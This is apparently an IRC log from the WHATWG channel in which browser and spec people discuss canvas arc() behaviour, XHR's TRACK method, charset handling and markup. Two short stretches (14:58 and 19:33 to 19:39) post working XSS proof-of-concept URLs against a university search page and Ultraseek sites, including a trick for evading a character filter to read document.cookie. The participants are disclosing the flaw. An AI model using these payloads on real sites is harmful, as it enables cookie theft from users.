| 00:00 | <Hixie> | should we reset the origin-clean flag on canvas when the canvas is reset by changing its dimensions? |
| 00:00 | <Philip`> | That seems pointless, and introduces more risk of security bugs, and is incompatible with current implementations |
| 00:01 | <roc> | it's incompatible in a clean way though |
| 00:01 | <Philip`> | But it's still incompatible :-) |
| 00:01 | <roc> | can't see any security issues |
| 00:02 | <roc> | every feature we add is incompatible with code that expects it to not work |
| 00:02 | <Philip`> | It would be a security issue if you somehow failed to entirely clear the canvas when resizing it |
| 00:02 | <roc> | it does seem slightly pointless |
| 00:02 | <Hixie> | ok i won't bother clearing it |
| 00:03 | <Philip`> | which doesn't seem implausible, given how all implementations have occasionally failed to handle bitmap buffers correctly |
| 00:03 | <Philip`> | s/correctly/without reading out of bounds/ |
| 00:07 | <Hixie> | i'm amused at how one person is posting feedback to whatwg with links to the w3c version and another is posting feedback to the w3c list with links to the whatwg version |
| 00:10 | <roc> | wasn't there a discussion about allowing canvas.drawImage to draw any element? or was it just SVG elements? |
| 00:10 | <Philip`> | roc: Opera lets drawImage draw SVG |
| 00:10 | <roc> | yeah I know |
| 00:10 | Philip` | can't remember whether that's SVG images or SVG elements, though |
| 00:11 | <roc> | I think it's SVG elements |
| 00:11 | <roc> | which actually lets you draw *anything* thanks to foreignObject |
| 00:11 | <Philip`> | There was some discussion about that, and also there was discussion about a drawElement (or something) for drawing elements |
| 00:11 | <roc> | on the whatwg list? |
| 00:12 | <Philip`> | http://lists.whatwg.org/pipermail/whatwg-whatwg.org/2008-May/014683.html refers to some mentions of it |
| 00:14 | <Philip`> | http://philip.html5.org/demos/canvas/svg/scale.html - looks like Opera 9.5 supports both drawImage(<img src=...svg>) and drawImage(<svg .../>) |
| 00:14 | <Philip`> | (though with clipping bugs in the latter case) |
| 00:14 | <Philip`> | (and without decent scaling in either case) |
| 00:14 | <Hixie> | there have been many suggestions for drawing various random elements |
| 00:15 | <Hixie> | there's a number of issues with it (how to do it with display:none elements, how to not be affected by the browsing context size, how to handle rendering plugins and iframes and the like) |
| 00:15 | <Hixie> | (amongst other things) |
| 00:15 | <Hixie> | it's on the "v2" list for canvas (i.e. things to add once browsers have implemented more of the spec) |
| 00:16 | <Hixie> | afk, bbiab |
| 00:16 | <roc> | Opera's bit off all those issues already |
| 00:16 | <Philip`> | Isn't that "v4" now? :-) |
| 00:16 | <roc> | I guess we should just go ahead and add mozDrawElement |
| 00:19 | <Philip`> | Opera's foreignObject support seems to be pretty rubbish |
| 00:19 | <Philip`> | e.g. it fails to apply many styles |
| 00:20 | <Philip`> | and foreignObjects get drawn as a solid black rectangle via drawImage |
| 00:21 | <Philip`> | http://philip.html5.org/demos/canvas/svg/foreignobject.xhtml |
| 00:25 | <Philip`> | FF3 is really ugly at rendering that rotated foreignObject, but at least it gets all the right content in there |
| 00:28 | <Philip`> | (and makes the content interactive, and can draw rotated scrollbars and stuff, which is really quite nice, and makes Opera seem even more rubbish) |
| 00:35 | Philip` | can't find any way to make anything more useful happen in Opera |
| 00:35 | <Philip`> | roc: So, I think Opera has just avoided the issues by not having the relevant functionality at all |
| 00:36 | <roc> | ok |
| 00:36 | <roc> | thanks |
| 00:39 | <Philip`> | Hixie: I'd been attempting to update my canvas tests and send feedback, but slowed(/stalled) before finishing, so now it's annoying that you're catching up by responding to the feedback and I'll have even more work to do before I've caught up to the spec again :-( |
| 00:55 | <Hixie> | Philip`: heh |
| 02:14 | <Hixie> | roc: http://junkyard.damowmow.com/326 |
| 02:15 | <Hixie> | er, doesn't work in firefox |
| 02:15 | <Hixie> | hold on |
| 02:15 | <Hixie> | (or try it in webkit) |
| 02:17 | <Hixie> | aha, my bad |
| 02:17 | <Hixie> | ok fixed |
| 02:17 | <Hixie> | roc: is this http://junkyard.damowmow.com/326 what you had in mind? |
| 02:17 | <Hixie> | Philip`: in case you haven't already tested this, there's lack of interop when it comes to the last argument of arc() being omitted |
| 02:17 | <roc> | yeah |
| 02:18 | <roc> | well no |
| 02:18 | <roc> | yes and no |
| 02:18 | <roc> | Ithat's cool, and I guess it is what a kaleidoscope does |
| 02:18 | <roc> | but my dream was different |
| 02:18 | <Hixie> | then i don't understand your dream :-) |
| 02:18 | <roc> | neither do I |
| 02:19 | <Hixie> | hehe |
| 02:19 | <takkaria> | the kaleidoscope is cool |
| 02:19 | <roc> | what I had in my dream, IIRC, was a changing triangular image that was being tiled across the plane, where there's a reflection along each edge |
| 02:20 | <Hixie> | there's something very pretty about http://junkyard.damowmow.com/326 |
| 02:20 | <roc> | you could obviously do it with an explicit loop |
| 02:20 | <Hixie> | roc: ooo, interesting |
| 02:21 | <roc> | what I meant in my blog is that we have builtin support for tiling rectangles |
| 02:21 | <Hixie> | roc: sounds like what we'd really want to get that kind of effect is a programmable Pattern object |
| 02:21 | <roc> | not just in canvas but in toolkits generally |
| 02:21 | <Hixie> | roc: with a callback that does the actual painting in some way (maybe it's passed a context with a clipping path set) |
| 02:21 | <roc> | but we don't have more advanced tessellation operations |
| 02:21 | <Hixie> | yeah |
| 02:21 | <roc> | Quartz has something like that |
| 02:22 | <Hixie> | you'd have to give the pattern the extent it is expected to render over too, i guess |
| 02:22 | <roc> | I'm not sure what the right way would be to do it |
| 02:22 | <roc> | but |
| 02:22 | <roc> | don't take my dreams as requirements |
| 02:22 | <Hixie> | oh don't worry |
| 02:23 | <Hixie> | i'm just noodling, as DanC says |
| 02:24 | <Philip`> | Hixie: I have (non-online) tests for missing arguments, which seem to cover that case - FF3/O9.5 throw an exception (of the wrong type), S3 throws an exception for <= 2 arc arguments and executes the command for >= 3, so it's just Safari's problem |
| 02:25 | <Hixie> | k |
| 02:25 | Hixie | tries to decypher Philip`'s arc() feedback |
| 02:25 | <Philip`> | About the case where the arc is larger than 2pi? |
| 02:26 | <Hixie> | about the case with rounding near 2pi |
| 02:26 | <Philip`> | Okay |
| 02:26 | <Hixie> | or rather, the case where the angles are close to each other |
| 02:26 | <Hixie> | the problem being i don't understand your suggested text since it seems to be mostly what's there already and i'm having to figure out what you added/changed |
| 02:32 | <Philip`> | I think just the second sentence is new, to handle the cases where the arc is wound around more than 2pi |
| 02:34 | <Philip`> | (by making those cases draw the entire circle, rather than making the arc jump back to zero length when the angle difference exceeds 2pi) |
| 02:34 | <Hixie> | check the new definition |
| 02:34 | <Hixie> | is it ok? |
| 02:34 | <Hixie> | http://www.whatwg.org/specs/web-apps/current-work/#arcx- |
| 02:37 | Philip` | needs to work out a better way of describing how he thinks algorithms should be tweaked to work differently |
| 02:38 | <Hixie> | just say what's wrong :-) |
| 02:39 | <Philip`> | I did, in my third paragraph :-) |
| 02:39 | <Hixie> | indeed |
| 02:39 | <Hixie> | and that's what i used :-) |
| 02:41 | <Philip`> | The new definition seems wrong, but I need to work out precisely how it's wrong... |
| 02:41 | <Hixie> | really? hm. |
| 02:42 | <Hixie> | i suppose it needs to define start and end points |
| 02:42 | <Philip`> | It's at least wrong in that it doesn't define the start and end points, if the angle difference is >=2pi |
| 02:44 | Philip` | tries to remember which way clocks turn |
| 02:44 | <Hixie> | yeah i'll just hoist the point definition from the next para up one |
| 02:54 | <Hixie> | i go to look up convertToIntegerTiesToEven to make sure you're not making stuff up about what IEEE754r says |
| 02:54 | <Hixie> | and the first hit |
| 02:54 | <Hixie> | is the e-mail you sent |
| 02:56 | <Philip`> | I think I looked at http://www.validlab.com/754R/drafts/archive/2006-10-04.pdf via http://en.wikipedia.org/wiki/IEEE_754r so it might be good to double-check with a more reliable source |
| 02:58 | <Hixie> | i don't find it in wikipedia |
| 03:01 | <Philip`> | Hmm, the spec change doesn't solve the problem I suggested in my email (since arc(x, y, r, 0, 2*pi-epsilon, true) will draw an almost-zero-length arc, and it's possible that 2*Math.PI == 2*pi-epsilon), but neither does the solution I suggested, and actually I'm not sure any decent solution is possible |
| 03:02 | <Philip`> | At least with the new spec you can write arc(x, y, r, 0, 2*Math.PI, false) and be sure it's going to draw a circle, which wasn't possible before now |
| 03:02 | <Philip`> | so I think that should be alright |
| 03:03 | <Hixie> | don't know how to distinguish the case of 0..2pi-e and 0..-e in any sane way, given that we don't want to distinguish between 0..2pi-x and 0..-x |
| 03:03 | <Hixie> | where e << x |
| 03:07 | <Philip`> | I'm sure I came to a different conclusion when I last thought about this, but now when I draw lots of little arcs I can't work out any way it could work sensibly in all cases |
| 03:08 | <Philip`> | so the spec sounds as sensible as it could be |
| 03:08 | <Philip`> | though not as compatible with existing implementations as it could be |
| 03:08 | <Hixie> | k |
| 03:09 | <Philip`> | If it said "if anticlockwise and start-end > 2pi, or if clockwise and end-start > 2pi", instead of "if abs(start-end) > 2pi", then it would match the behaviour of Firefox and Safari |
| 03:10 | <Hixie> | what do firefox and safari do for anticlockwise and end-start > 2pi? |
| 03:11 | <Philip`> | They draw the arc from (start mod 2pi) anticlockwise to (end mod 2pi) |
| 03:12 | <Hixie> | seems dumb to do something different for 0..2pi+e than for -(2pi+e)..0 |
| 03:13 | <Hixie> | well, i guess not |
| 03:13 | <Hixie> | hmm |
| 03:14 | <Philip`> | Firefox and Safari will need to be changed to match the spec anyway, because they handle arc(x,y,r, 0, 4*Math.PI, false) by drawing a 4pi arc (which is kind of crazy) instead of a 2pi arc, so I suppose it doesn't hurt if the spec requires some extra changes too |
| 03:15 | <Hixie> | i'm changing it to not do a whole circle |
| 03:15 | <Hixie> | for those cases |
| 03:17 | <Philip`> | They don't do something different for 0..2pi+e than for -(2pi+e)..0 |
| 03:17 | <Philip`> | since that's just uniformly rotating the whole arc by -(2pi+e) |
| 03:18 | <Philip`> | The issue is that for 0..3pi clockwise they draw a circle, and for 0..3pi anticlockwise they draw a semicircle |
| 03:20 | <Hixie> | The issue is that for 0..3pi clockwise they draw a circle, and for 3pi..0 clockwise they draw a semicircle, and that makes sense to me for some reason, and i want the spec to require that |
| 03:20 | <Hixie> | no? |
| 03:24 | <Philip`> | That doesn't make more or less sense to me than any other thing the spec could require - it just has the advantage of matching most deployed implementations |
| 03:24 | <Hixie> | yeah i agree that it doesn't make any more objective sense |
| 03:25 | <Hixie> | though for some reason it does have some weird feeling of rightness to me |
| 03:25 | <Hixie> | anyway |
| 03:25 | <Hixie> | the spec says that now |
| 03:26 | <Philip`> | The most sensible solution would be "if clockwise and end < start, or if anticlockwise and end > start, throw an exception because you're being silly and trying to draw the arc in the wrong direction" |
| 03:26 | <Philip`> | Actually you could just skip the clockwise/anticlockwise flag entirely, and have it depend solely on the relative angles |
| 03:26 | <Philip`> | But that doesn't work so well for compatibility with existing code/implementations |
| 03:40 | Philip` | notices that he has trouble thinking coherently, and goes to bed |
| 03:41 | <Hixie> | n |
| 06:40 | <hsivonen> | Hixie: does bugmail from the W3C bugzilla feed into http://www.whatwg.org/issues/ ? |
| 07:34 | <Hixie_> | annevk, Lachy: standards suck needs better sound :-) |
| 07:36 | <othermaciej> | this is the standards suck podcast? |
| 07:36 | <othermaciej> | is it worth watching? |
| 07:36 | <othermaciej> | (or videocast I guess?) |
| 07:36 | <Hixie_> | probably not for you :-) |
| 07:36 | <Hixie_> | it's somewhat painful to watch because of the poor sound |
| 07:36 | <Hixie_> | it's amusing to watch anne talk about "the early days" of his coding web pages though :-P |
| 07:37 | <othermaciej> | I have a lot of standing search queries that mostly tell me things I already know |
| 07:37 | <othermaciej> | so that would not be a problem per se |
| 07:40 | <Hixie_> | someone just asked me to change the comment of the Ahem.ttf file because É isn't the right way to refer to an e-with-acute in a TTF comment |
| 07:40 | <Hixie_> | o_O |
| 07:40 | <Hixie_> | that is what i believe we call a "first world problem" |
| 07:40 | Hixie_ | informs the commenter that he has bigger fish to fry |
| 07:44 | <Hixie_> | well that's confusing |
| 07:45 | <Hixie_> | and eseidel_ _and_ a MacDome. |
| 07:47 | <othermaciej> | maybe they're secretly the same person! |
| 07:52 | <Hixie_> | cursor navigation in webkit trunk builds in textareas is wacked |
| 07:53 | <Hixie_> | ok i'm going to try to keep http://www.w3.org/Bugs/Public/buglist.cgi?product=HTML+WG&bug_status=NEW to zero items |
| 07:55 | <aroben> | Hixie_: yes, it is :-( |
| 07:56 | <Hixie_> | you'd think cursor navigation would be easy, but it seems to be one of the hardest things for browsers to get right |
| 07:56 | <Hixie_> | i swear it's the most frequently regressed thing in every browser i've worked with |
| 08:03 | <othermaciej> | you'd be surprised |
| 08:03 | <othermaciej> | cursor navigation involves a lot of complicated things |
| 08:03 | <Hixie_> | indeed |
| 08:09 | <zcorpan_> | hsivonen: hey, i made a favicon for you |
| 08:09 | <zcorpan_> | http://simon.html5.org/temp/validator.nu/icon.png |
| 08:10 | <hsivonen> | zcorpan_: cool. Are you licensing it under the MIT license? |
| 08:11 | Hixie_ | accidentally twitters duplicate messages |
| 08:11 | <Hixie_> | how did that happen |
| 08:14 | <Lachy> | Hixie_, yeah, but we don't have professional sound recording equipment |
| 08:14 | <eseidel> | Hixie_: sorry to confuse you Hixie_ |
| 08:14 | <Hixie_> | hey, when did i become a Hixie_ |
| 08:15 | <MacDome> | except this is my personal machine, donno why I just chagned my nick to eseidel... |
| 08:18 | <zcorpan_> | hsivonen: sure |
| 08:18 | <hsivonen> | Lachy: you could try to find an editing app, that does a Fourier transform, takes out the noise frequencies and undoes the transform |
| 08:18 | <hsivonen> | zcorpan_: thanks |
| 08:19 | <hsivonen> | Lachy: such a naive filter may make the result sound a bit unnatural, but at least the bg noise would be gone |
| 08:19 | <zcorpan_> | hsivonen: http://simon.html5.org/temp/validator.nu/icon.png.license.txt |
| 08:21 | <hsivonen> | zcorpan_: excellent. thanks. the icon will appear on Validator.nu in due course |
| 09:03 | <hsivonen> | has google code changed its TLS cert for real? |
| 09:04 | <hsivonen> | hmm. Firefox validates the new cert but svn doesn't |
| 09:04 | <hsivonen> | I guess that's ok |
| 09:23 | <Hixie> | man, this _tab thread won't die |
| 09:23 | <Hixie> | the last five or six messages have been from people agreeing that it's a bad idea |
| 09:23 | <Hixie> | nobody seems to be disagreeing with them |
| 09:23 | <MikeSmith> | heh |
| 09:23 | <Hixie> | i've already said it's a bad idea |
| 09:26 | <Hixie> | the canvas section has Philip` |
| 09:26 | <Hixie> | the parsing section has hsivonen |
| 09:27 | <Hixie> | i wish other parts of the spec had people like that :-) |
| 09:29 | <Hixie> | on of the screws on the bottom of my mac book pro just fell out |
| 09:29 | <Hixie> | that's not normal... |
| 09:32 | <MikeSmith> | Hixie: that happened to me before |
| 09:32 | <Hixie> | freaky |
| 09:32 | <MikeSmith> | I think they get torqued because of opening/closing the lid |
| 09:33 | <Hixie> | this screw was under the corner furthest from the lid hinge |
| 10:08 | <annevk> | annevk, I suggested doing that (re: garbage collection) but people wanted to be able to garbage collect removed iframes (IE does not do it though so maybe it'll change at some point) |
| 10:09 | <Hixie> | well i don't mind gc'ing removed iframes, but if you have an xhr from that iframe, it seems like a good reason to keep it around |
| 10:09 | <Hixie> | i mean, how often does that happen? |
| 10:09 | <Hixie> | it's not like it'll be a massive optimisation to keep it around |
| 10:11 | <Hixie> | something very funky is going on with my networking stack |
| 10:11 | <Hixie> | i just got a server send me back an error message telling me IT had timed out waiting for my browser to send the request |
| 10:13 | <annevk> | I had this awesome test from a removed iframe where I changed the location and then tested if the base URI was correct and people whined :/ |
| 10:13 | <Hixie> | which people? |
| 10:13 | <othermaciej> | leaving the page cancels pending loads, so logically removing an iframe should cancel pending loads in that frame |
| 10:14 | <annevk> | I don't remember |
| 10:14 | <annevk> | othermaciej, well, the thing is that XHR still had an implicit reference to that iframe |
| 10:14 | <othermaciej> | after all, isn't removing an iframe from the document pretty similar to closing a window or navigating to another page? |
| 10:14 | <annevk> | (the effect was that open() throwed an exception |
| 10:14 | <annevk> | ) |
| 10:15 | <othermaciej> | oh, so this is about having a not-currently-loading XHR from a removed iframe? |
| 10:15 | <annevk> | you create an XHR instance using the <iframe>'s Window object |
| 10:15 | <annevk> | you do this from some other document |
| 10:15 | <othermaciej> | I guess I am ok with open() throwing in that case |
| 10:16 | <othermaciej> | unless it is a compat issue |
| 10:16 | <annevk> | then you delete the iframe, and set <iframe>.location |
| 10:16 | <othermaciej> | in which case I'll want to stab whoever coded their site that way |
| 10:16 | <annevk> | then once it has navigated you call xhr.open(); xhr.send() to see what the effect is |
| 10:16 | <Hixie> | i wanna stab a lot of people |
| 10:16 | <Hixie> | by that reckoning |
| 10:16 | <annevk> | the nested <form> crowd |
| 10:16 | <Hixie> | starting with the people who put random xmlns="" and <math> and <svg> tags in text/html |
| 10:18 | <jgraham_> | You say "random", thay say "forward compatible" |
| 10:18 | <Philip`> | People won't stop putting random garbage in their pages unless we provide significant negative consequences to those actions |
| 10:19 | <jgraham_> | (which is fair enough because that's what they've been told to think, even if it is garbage) |
| 10:19 | <Hixie> | Philip`: and even then, apparently |
| 10:20 | <othermaciej> | yeah, you can just drop the dependent clause |
| 10:20 | <Philip`> | Hixie: That just means the current consequences are not significant enough |
| 10:20 | <Hixie> | or that the rewards aren't enough |
| 10:21 | <othermaciej> | no one has an incentive to be more punishing, so that's not a relevant counterfactual |
| 10:22 | <jgraham_> | If only we could send people a biscuit every time they wrote good markup. |
| 10:22 | <othermaciej> | then hsivonen would be spending his time railing against the biscuit-seeking behavior |
| 10:22 | <Hixie> | woot, no more canvas-v1 feedback, and no more video-misc feedback. |
| 10:23 | <Hixie> | i'm back to having no particular direction for spec edits |
| 10:23 | <Hixie> | which i guess means i'll go to bed |
| 10:23 | <Philip`> | Hixie: "The intrinsic width of a video element's playback area is the intrinsic *width* of the video resource, if that is available; otherwise it is the intrinsic *height* of the resource given by the poster attribute ..." |
| 10:24 | <Hixie> | oops |
| 10:24 | <roc> | the only way is to make invalid markup a criminal offense |
| 10:24 | <Philip`> | roc: Being a criminal is a criminal offense, but still there are many criminals |
| 10:25 | <roc> | we'll fine them and use the proceeds to fund parser development. |
| 10:26 | <Dashiiva> | 20 years in prison, or a partial implementation of xpath2. Your choice. |
| 10:26 | <Philip`> | We should follow the example of blank CD taxes - just assume that everyone is going to write invalid markup, and preemptively get compensation from them |
| 10:27 | <roc> | I guess it's more enforceable if you pass a law requiring strict parsing and police the browsers |
| 10:27 | <Hixie> | oh that's just what we need |
| 10:27 | <Dashiiva> | That would lead to an interesting anti-culture |
| 10:28 | <Hixie> | regulation in the browser space |
| 10:28 | <Hixie> | Philip`: fixed |
| 10:28 | <Dashiiva> | Using the latest in illegal browsers from south america |
| 10:28 | <othermaciej> | psst, hey kid, want an error-tolerant browser? |
| 10:31 | <annevk> | hahaha |
| 10:33 | <virtuelv> | ssssshhhhhhh. some governments will launch "The war on browsers", then |
| 10:34 | <Dashiiva> | Wouldn't it be the war on tolerance? :) |
| 10:34 | <Philip`> | Tolerance will not be tolerated |
| 10:35 | <Dashiiva> | At least it's internally consistent |
| 12:10 | <zcorpan> | is there a good reason why constants aren't { ReadOnly } ? |
| 12:10 | <zcorpan> | in the DOM |
| 12:11 | <zcorpan> | i mean, if you can change them, they aren't particularly constant :) |
| 12:37 | <annevk> | Philip`, your 9.5 changelog issues are being dealt with |
| 12:37 | <annevk> | Philip`, whenever an opera.com update is pushed through it should be resolved |
| 13:37 | <Philip`> | annevk: Ah - if those issues are being fixed, someone might also want to update the broken links to the multipage WHATWG spec |
| 13:38 | <Philip`> | "Attribute values in innerHTML are now encoded as required by HTML5." links to http://www.whatwg.org/specs/web-apps/current-work/multipage/section-serialising.html#html-fragment |
| 13:38 | <annevk> | and http://www.whatwg.org/specs/web-apps/current-work/multipage/serializing.html#html-fragment is better? |
| 13:39 | <Philip`> | http://www.whatwg.org/specs/web-apps/current-work/#html-fragment is better |
| 13:39 | <Philip`> | and also is consistent with the other links on that page |
| 13:39 | <Philip`> | People reading the changelog are probably using Opera, so they should be able to cope with loading the spec :-) |
| 13:40 | <annevk> | hehe |
| 13:45 | <Philip`> | zcorpan: A (possibly twisted) perspective is that when you say Node.ELEMENT_NODE = 'Hello world', you aren't modifying that constant at all - you're just modifying Node, which is not a constant |
| 14:50 | <zcorpan> | Philip`: but Node.ELEMENT_NODE is what you'd rely on being equivalent to 1 |
| 14:53 | <annevk> | can you set ele.ELEMENT_NODE as well? |
| 14:58 | <zcorpan> | yes |
| 14:58 | <zcorpan> | in opera at least |
| 14:58 | <Philip`> | http://web-search.cam.ac.uk/index.html?charset=cp037%00%14%cb%c4%ca%d1%f8%c8%9e%2f%25%c1%ca%c8%88%1b%7c%3f%f8%cb%1b%89%14%07%cb%c4%ca%d1%f8%c8%9e%8e - yay, EBCDIC XSS |
| 14:59 | <annevk> | zcorpan, k |
| 15:02 | <annevk> | hmm |
| 15:02 | <annevk> | const x = 1; x = 2; w(x) gives 1 |
| 15:03 | <zcorpan> | ok, then i guess the safari behavior (fails silently) is better than throwing, for consistency |
| 15:04 | <annevk> | gives 2 in Opera btw |
| 15:05 | <annevk> | :/ |
| 15:05 | <annevk> | (though it's good that Opera is consistent) |
| 15:06 | <hsivonen> | looks like html4all votes in secret |
| 15:07 | <annevk> | votes? |
| 15:08 | <hsivonen> | annevk: http://html4all.org/mailman/archives/list_html4all.org/2008-June/000911.html |
| 15:08 | <hsivonen> | the link http://juicystudio.com/survey/results.php?id=12 |
| 15:08 | <hsivonen> | asks me for login |
| 15:09 | <annevk> | ah, I hadn't noticed that |
| 15:10 | <annevk> | seems they have plenty of stuff to keep themselves busy |
| 15:29 | <Philip`> | Does HTML5 say what to do with a document that sends Content-Type: text/html; charset=something-not-supported ? (I can't find any requirements for that) |
| 15:36 | <hsivonen> | Philip`: as far as I can tell, it boils down to using Windows-1252 for "Western demographic" |
| 15:37 | <Philip`> | hsivonen: Where does it say that? "Determining the character encoding" will stop in step 1, because it's got a confident encoding from the transport layer |
| 15:37 | <Philip`> | so it'll never get to step 7, which is where the guess-it's-windows-1252 comes from |
| 15:38 | <annevk> | public-html⊙wo :) |
| 15:38 | <hsivonen> | hmm. I've somehow thought that you don't have an encoding in hand when you have a name string but that you have an encoding in hand when you actually got a decoder object |
| 15:39 | <hsivonen> | Philip`: but yeah, time to file a spec bug or send email |
| 15:39 | <annevk> | I'm hoping I'm on some kind of whitelist because I don't really want to use bugzilla to request for changes |
| 15:40 | <annevk> | if this at some point turns out to be not the case I suppose I'll adjust my behavior |
| 15:41 | <hsivonen> | I think I'm going to try out bugzilla and see how it feels |
| 15:42 | <annevk> | more href: http://meyerweb.com/eric/thoughts/2008/06/12/linking-up/ |
| 15:42 | <annevk> | hsivonen, let me know |
| 15:47 | <hsivonen> | but I'm not going to write more metadata than I'd write for a subject of an email |
| 15:52 | <Dashiiva> | annevk: Can't you just send email to whatwg@? |
| 15:56 | hsivonen | didn't expect IE5 and IE6 to ever become conforming W3C XHR impls. |
| 15:59 | hsivonen | is amazed about the level of objection that beign secure with TRACK generates |
| 16:10 | <Dashiiva> | I'm amazed by the level of objection to documenting existing practice. Surely XHR2 would be a much better target for people making standalone XHR |
| 16:12 | <Philip`> | If XHR requires TRACK to be handled securely, wouldn't XHR2 have to do exactly the same? |
| 16:13 | <Philip`> | in which case it's better to argue against it in XHR, because otherwise by the time they get to XHR2 there'll be precedent for specifying TRACK in that way and it'll be much harder to change |
| 16:13 | <Dashiiva> | I was referring to the window dependency |
| 16:13 | <Philip`> | Oh, okay |
| 16:13 | gsnedders | depends on Dashiiva |
| 16:13 | <Dashiiva> | My passport would result in an import error :) |
| 16:18 | <gsnedders> | Opera 9.5 becomes the second UA to be able to print my blog correctly (though nobody cares) |
| 16:18 | <hsivonen> | gsnedders: second after Prince? |
| 16:18 | <gsnedders> | hsivonen: yeah |
| 16:48 | <gsnedders> | I wonder if I've finally managed to start to implement the TOC algorithm correctly |
| 16:49 | <Philip`> | Does it pass tests? |
| 16:50 | Philip` | guesses that's the easiest way to determine "correct" |
| 16:51 | <gsnedders> | Philip`: I haven't written enough to test it, and there aren't any tests for it :P |
| 16:52 | <Philip`> | Is this based on the "Creating an outline" algorithm? |
| 16:53 | <gsnedders> | Philip`: yeah |
| 19:33 | <Philip`> | What's the most concise way to write a script that accesses the 'document' object, without using the letter 'n'? |
| 19:35 | <hober> | o_O |
| 19:36 | <Philip`> | Hmm, I suppose eval("docume\x6et") is good enough |
| 19:37 | <gavin_> | what kind of script sanitizer filters out "n", but not "eval"? :) |
| 19:37 | <tndH> | or this["docume\x6et"] as long as this == window |
| 19:37 | <blooberry> | philip`: and motivation for this is? |
| 19:38 | <Philip`> | I can only use letters which, when encoded as iso-8859-1 then decoded as cp037 then HTML-escaped (replace <>&" with < etc) then encoded as cp037 then decoded as iso-8859-1, remain unchanged |
| 19:38 | <Philip`> | which rules out 'n' because it turns into '>' |
| 19:38 | <blooberry> | owww. my head. 8-} |
| 19:39 | <Philip`> | http://search.ultraseek.com/query.html?charset=cp037&qt=%3Cscript%3Ealert(%22I'm%20steali%5Cx6eg%20your%20cookies:%20%22%2Beval(%22docume%5Cx6et%22).cookie)%3C/script%3E&oldqt=%3Cscript%3Ealert(%22I'm%20steali%5Cx6eg%20your%20cookies:%20%22%2Beval(%22docume%5Cx6et%22).cookie)%3C/script%3E |
| 19:39 | <Philip`> | (Doesn't work in IE or Safari, does in Opera and Firefox) |
| 19:39 | <gavin_> | heh |
| 19:39 | <Philip`> | Also works on the loads of sites across the web that use Ultraseek |
| 19:40 | <Philip`> | (some of which may have more interesting cookies and whatnots) |
| 19:40 | <takkaria> | nice |
| 19:41 | <Philip`> | Conclusion: For security reasons, browsers must implement support for EBCDIC encodings |
| 19:54 | Philip` | fails to find anywhere to report the Ultraseek bug directly |
| 21:40 | <bzed> | jgraham_: when do you want to release 0.11? |
| 22:02 | <jgraham_> | bzed: We did a 0.11 release but I need to upload it to pypi |
| 22:08 | <bzed> | jgraham_: oh, then I missed it :) |
| 22:09 | <bzed> | I'll upload it to debian next hour |
| 22:14 | <bzed> | jgraham_: the 0.11.1 zip is a bit buggy : http://paste.debian.net/6402/ |
| 22:15 | <bzed> | there're some files twice in there |
| 22:47 | <annevk> | sigh |
| 22:47 | <annevk> | TRACK :/ |
| 22:47 | <annevk> | god I hate XMLHttpRequest |
| 22:47 | <gsnedders> | Is there any editor of any spec who _likes_ what they're working on? |
| 22:48 | <annevk> | I do, Last Call is just so distracting |
| 22:49 | <annevk> | and so much more overhead |
| 22:53 | <othermaciej> | what is TRACK about? |
| 22:53 | <bzed> | jgraham_: uploaded. |
| 22:53 | <annevk> | TRACK is method that causes issues for old IIS server |
| 22:53 | <annevk> | it's basically TRACE |
| 22:53 | <annevk> | (not supported by newer IIS) |
| 22:58 | <Philip`> | What counts as "old"? |
| 22:58 | <annevk> | version 6 or so? |
| 22:58 | <annevk> | I don't remember |
| 22:58 | <annevk> | I only know UAs shouldn't support it |
| 22:58 | <gsnedders> | 6 is the second latest release |
| 22:58 | <gsnedders> | came with 2003 Server |
| 23:00 | Philip` | sees 40 IIS/7.0 in his pages (from some months ago), vs 327 IIS/4.0 and ~7000 IIS/5.0 and ~22K IIS/6.0 |
| 23:00 | <Philip`> | (and 33K Apache/1 and 26K Apache/2 and 22K unversioned Apache) |
| 23:01 | <gsnedders> | Philip`: 2008 Server only just shipped, so it isn't that surprising |
| 23:01 | <jgraham_> | bzed: Great |
| 23:01 | <Philip`> | (so it's significantly different to what Netcraft says) |
| 23:01 | <gsnedders> | Philip`: ms.com has been running on it for at least a year, though |
| 23:34 | <blahamjaha> | Are you working on HTML 5? |
| 23:36 | <Philip`> | blahamjaha: Yes |
| 23:36 | <blahamjaha> | :S |
| 23:36 | <blahamjaha> | Please don't do silly things. |
| 23:37 | <blahamjaha> | Is multiple levels of OPTGROUPs gonna make it? |
| 23:38 | <smedero> | Well Web Forms 2.0 says "The optgroup element may now be nested inside other optgroup elements. " |
| 23:38 | <smedero> | http://www.whatwg.org/specs/web-forms/current-work/#changes |
| 23:39 | <blahamjaha> | :O |
| 23:39 | <blahamjaha> | I have no idea what Web Forms 2.0 is, though. |
| 23:39 | <blahamjaha> | Fancy name for a part of HTML 5? |
| 23:40 | <Philip`> | The short answer is "yes", and I won't bother with the long answer :-) |
| 23:40 | <blahamjaha> | :-[ |
| 23:41 | <blahamjaha> | I am sort of worried by this. It would be pretty "nice" to know that the OPTGROUPs would still be one level in the future. |
| 23:41 | <blahamjaha> | Because then I would have to force myself to think in a certain way. |
| 23:41 | <Philip`> | Why would it be a problem? You could still choose to only write single-level optgroups |
| 23:42 | <blahamjaha> | Yes, but this makes it feel as if it was a random choice from the beginning. |
| 23:43 | <blahamjaha> | Not done for a good reason. |
| 23:43 | <smedero> | Work on Web Froms 2 is delayed at the moment ... you can take that up with the W3C Forms Task Force: http://www.w3.org/2007/10/forms-tf/ |
| 23:45 | <smedero> | Hrm, "The Forms Task Force expects to be done by July 2008." |
| 23:46 | <smedero> | via: http://www.w3.org/2007/10/forms-tf/charter-proposal |
| 23:46 | <Philip`> | The Forms Task Force also expected to manage to actually do something |
| 23:47 | <smedero> | heh, I decided to not open any more old wounds and leave my comments at that. : / |
| 23:47 | <Philip`> | so I'm not sure how much I trust those expectations :-) |
| 23:50 | <Philip`> | It seems entirely factual and uncontroversial to say that the Forms TF has done nothing, so I'm just not attempting to suggest the reasons why (particularly since I don't know the reasons) :-) |
